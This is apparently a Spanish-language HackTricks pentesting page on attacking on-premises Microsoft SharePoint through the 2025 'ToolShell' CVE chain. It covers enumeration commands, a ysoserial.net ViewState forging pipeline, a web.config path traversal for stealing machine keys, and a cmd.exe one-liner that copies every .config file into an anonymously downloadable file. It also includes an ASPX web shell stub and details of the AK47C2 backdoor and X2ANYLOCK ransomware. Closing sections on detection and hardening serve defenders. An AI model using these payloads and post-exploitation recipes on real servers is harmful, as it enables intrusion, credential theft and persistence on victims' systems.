Microsoft SharePoint – Pentesting & Exploitation

Reading time: 8 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Microsoft SharePoint (local) está construido sobre ASP.NET/IIS. La mayoría de la superficie de ataque web clásica (ViewState, Web.Config, shells web, etc.) está presente, pero SharePoint también incluye cientos de páginas ASPX y servicios web propietarios que amplían drásticamente la superficie de ataque expuesta. Esta página recopila trucos prácticos para enumerar, explotar y persistir dentro de entornos de SharePoint con énfasis en la cadena de explotación 2025 divulgada por Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 cadena de explotación (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Inyección de Código en ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> permite que se inyecte código arbitrario de Server-Side Include en la página, que luego es compilado por ASP.NET. Un atacante puede incrustar C# que ejecuta Process.Start() y dejar caer un ViewState malicioso.

2.2 CVE-2025-49706 – Bypass de Autenticación Inadecuado

La misma página confía en el encabezado X-Forms_BaseUrl para determinar el contexto del sitio. Al apuntarlo a /_layouts/15/, se puede eludir la MFA/SSO impuesta en el sitio raíz sin autenticar.

2.3 CVE-2025-53770 – Deserialización de ViewState No Autenticada → RCE

Una vez que el atacante controla un gadget en ToolPane.aspx, puede publicar un valor __VIEWSTATE no firmado (o solo con MAC) que activa la deserialización de .NET dentro de w3wp.exe, lo que lleva a la ejecución de código.

Si la firma está habilitada, roba la ValidationKey/DecryptionKey de cualquier web.config (ver 2.4) y forja la carga útil con ysoserial.net o ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Para una explicación detallada sobre el abuso de ASP.NET ViewState, lee:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Traversal de ruta / Divulgación de web.config

Enviar un parámetro Source manipulado a ToolPane.aspx (por ejemplo, ../../../../web.config) devuelve el archivo objetivo, permitiendo la filtración de:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forjar ViewState / cookies ASPXAUTH
  • cadenas de conexión y secretos.

3. Recetas de post-explotación observadas en la naturaleza

3.1 Exfiltrar cada archivo .config (variación-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

El debug_dev.js resultante se puede descargar de forma anónima y contiene toda la configuración sensible.

3.2 Desplegar un shell web ASPX codificado en Base64 (variación-2)

powershell.exe -EncodedCommand <base64>

Ejemplo de carga útil decodificada (abreviado):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Escrito para:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

La shell expone puntos finales para leer / rotar claves de máquina que permiten forjar cookies ViewState y ASPXAUTH a través de la granja.

3.3 Variante ofuscada (variación-3)

La misma shell pero:

  • colocada en ...\15\TEMPLATE\LAYOUTS\
  • nombres de variables reducidos a letras individuales
  • Thread.Sleep(<ms>) añadido para evasión de sandbox y bypass de AV basado en tiempo.

3.4 Puerta trasera multi-protocolo AK47C2 y ransomware X2ANYLOCK (observado 2025-2026)

Investigaciones recientes de respuesta a incidentes (Unit42 “Proyecto AK47”) muestran cómo los atacantes aprovechan la cadena ToolShell después de RCE inicial para desplegar un implante C2 de doble canal y ransomware en entornos de SharePoint:

AK47C2 – variante dnsclient

  • Servidor DNS codificado: 10.7.66.10 comunicándose con el dominio autoritativo update.updatemicfosoft.com.
  • Los mensajes son objetos JSON encriptados con XOR con la clave estática VHBD@H, codificados en hex y embebidos como etiquetas de subdominio.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Consultas largas son fragmentadas y prefijadas con s, luego reensambladas del lado del servidor.
  • El servidor responde en registros TXT que llevan el mismo esquema XOR/hex:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • La versión 202504 introdujo un formato simplificado <COMMAND>::<SESSION_KEY> y marcadores de fragmento 1, 2, a.

AK47C2 – variante httpclient

  • Reutiliza la misma rutina JSON & XOR pero envía el blob hex en el cuerpo HTTP POST a través de libcurl (CURLOPT_POSTFIELDS, etc.).
  • El mismo flujo de trabajo de tarea/resultado permite:
  • Ejecución arbitraria de comandos de shell.
  • Intervalo de sueño dinámico e instrucciones de kill-switch.

Ransomware X2ANYLOCK

  • Carga útil de C++ de 64 bits cargada a través de side-loading de DLL (ver abajo).
  • Emplea AES-CBC para datos de archivos + RSA-2048 para envolver la clave AES, luego añade la extensión .x2anylock.
  • Encripta recursivamente unidades locales y recursos compartidos SMB descubiertos; omite rutas del sistema.
  • Deja una nota en texto claro How to decrypt my data.txt embebiendo un Tox ID estático para negociaciones.
  • Contiene un kill-switch interno:
c
if (file_mod_time >= "2026-06-06") exit(0);

Cadena de side-loading de DLL

  1. El atacante escribe dllhijacked.dll/My7zdllhijacked.dll junto a un legítimo 7z.exe.
  2. w3wp.exe generado por SharePoint lanza 7z.exe, que carga la DLL maliciosa debido al orden de búsqueda de Windows, invocando el punto de entrada del ransomware en memoria.
  3. Se observó un cargador LockBit separado (bbb.msiclink_x86.execlink_dll_x86.dll) que desencripta el shell-code y realiza DLL hollowing en d3dl1.dll para ejecutar LockBit 3.0.

info

El mismo Tox ID estático encontrado en X2ANYLOCK aparece en bases de datos filtradas de LockBit, sugiriendo superposición de afiliados.


4. Ideas de detección

TelemetríaPor qué es sospechoso
w3wp.exe → cmd.exeEl proceso de trabajo rara vez debería generar shell
cmd.exe → powershell.exe -EncodedCommandPatrón clásico de lolbin
Eventos de archivo creando debug_dev.js o spinstall0.aspxIOCs directamente de ToolShell
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Module logs)PoCs públicas invocan esta página

Ejemplo de regla XDR / Sysmon (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Endurecimiento y Mitigación

  1. Parchar – Las actualizaciones de seguridad de julio de 2025 corrigen todas las cuatro CVEs.
  2. Rotar cada <machineKey> y secretos de ViewState después de un compromiso.
  3. Eliminar el permiso de escritura de LAYOUTS de los grupos WSS_WPG y WSS_ADMIN_WPG.
  4. Bloquear el acceso externo a /_layouts/15/ToolPane.aspx a nivel de proxy/WAF.
  5. Habilitar ViewStateUserKey, MAC habilitado, y EventValidation personalizado.

Trucos relacionados

  • IIS post-explotación y abuso de web.config:

IIS - Internet Information Services

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks